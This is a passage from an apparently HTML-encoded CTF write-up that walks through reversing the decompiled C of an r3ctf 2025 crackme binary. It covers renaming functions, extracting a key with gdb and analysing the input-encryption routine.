\u003cspan style=\"color:#111\"\u003earg1\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e|\u003c/span\u003e \u003cspan style=\"color:#111\"\u003earg2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003einteger_div_arg1_arg2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#111\"\u003earg1\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e \u003cspan style=\"color:#111\"\u003earg2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003ebitwise_not\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e~\u003c/span\u003e\u003cspan style=\"color:#111\"\u003earg1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eafter reversing all functions and renaming them we move to the second part.\u003c/p\u003e\n\u003ch4 id=\"part-2-of-main-setting-the-key\"\u003ePart 2 of main: Setting the key\u003c/h4\u003e\n\u003cp\u003eit’s code after renaming the functions is accessible here, the first thing i noticed about this part is that it is all just operations on constants, it seems to be writing four unsigned ints in v91, we can extract it using gdb by setting a breakpoint just before the call to sub_1630, then inspecting the memory at rsi.\u003c/p\u003e\n\u003ch4 id=\"part-3-of-main-handling-input\"\u003ePart 3 of main: Handling input\u003c/h4\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75af00\"\u003eputs\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;Weclome to r3ctf 2025, can you beat me? 1/11423\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75af00\"\u003eputs\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;Input something: \u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#111\"\u003ebuf\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75af00\"\u003eread\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebuf\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e8uLL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75af00\"\u003esub_1630\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e((\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eunsigned\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebuf\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev91\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ebuf\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0xF06203EC3D2C5B74LL\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003eputs\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;You win!\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003eputs\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;Try again!\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ethis part read 8 bytes, then calls sub_1630 on it with v91 which is constant and likely used as a key to some encryption on buf.\u003c/p\u003e\n\u003ch3 id=\"reversing-the-encryption-function\"\u003ereversing the encryption function:\u003c/h3\u003e\n\u003cp\u003ethe encrypt function decompilation is \u003ca href=\"/r3ctf-r3loads/encrypt-decomp.c\"\u003ehere\u003c/a\u003e, it seems very scary, but we will go at it bit by bit till we understand it.\u003c/p\u003e\n\u003cp\u003eat first, it takes our 8 bytes input and splits it into two unsigned ints, \u003ccode\u003efirst\u003c/code\u003e and \u003ccode\u003esecond\u003c/code\u003e, then it sets \u003ccode\u003eS\u003c/code\u003e a State array (similar to rc4) using the key (this array is only read from), then it loops 0x478 times while doing some operations on \u003ccode\u003efirst\u003c/code\u003e and \u003ccode\u003esecond\u003c/code\u003e, in the end it writes them back to our input.\u003c/p\u003e\n\u003cp\u003enow before i started reversing this function, i noticed that there are four regions of code that only use constant values, i marked them on the code above, here is an example one:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003ev162\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003emult_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e                      \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev159\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eand_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev154\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eadd_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3879220815LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1303544047LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1673289997LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev148\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eor_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e119385303LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3231329148LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e141954786LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev145\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ebitwise_not\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev137\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eand_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1503872738LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e978965565LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1470160614LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev125\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003emult_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e761654413LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3043887596LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4085454309LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev120\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003emult_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev131\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003exor_first_two\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3333670936LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2147831941LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2217132274LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev115\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eadd_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4141055499LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1038626365LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1517838417LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev112\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003exor_first_two\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev109\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eadd_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2686461105LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3867813406LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e686930351LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev106\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003exor_first_two\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3259940977LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1820144441LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2738368048LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev103\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003emult_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev2\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ebitwise_not\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2920661428LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e408102610LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e758347707LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev3\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003exor_first_two\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2688446990LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3924691225LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3780184521LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev4\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eor_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev5\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003exor_first_two\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e715168552LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4203380807LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4042894304LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev6\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eand_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3362982059LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1951226027LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2091265364LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev7\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003emult_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2447727191LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4231433857LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2356928693LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev8\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ev4\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev7\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev6\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev5\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev9\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ev103\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev8\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev3\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev10\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ev112\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev9\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev106\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev109\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev11\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ev120\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev10\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev115\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev131\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev12\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ev145\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev11\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev125\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev137\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003eLODWORD\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev159\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ev159\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ev12\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev148\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ev154\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev155\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003emult_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev149\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003einteger_div_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev146\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eand_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev138\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eadd_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e3879220815LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1303544047LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1673289997LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev126\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eor_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e119385303LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3231329148LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e141954786LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev121\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ebitwise_not\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev132\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eand_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1503872738LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e978965565LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1470160614LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ev116\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003emult_arg1_arg2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e761654413LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3043887596LL\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4085454309LL\u003c/span\u003e\u003cspan 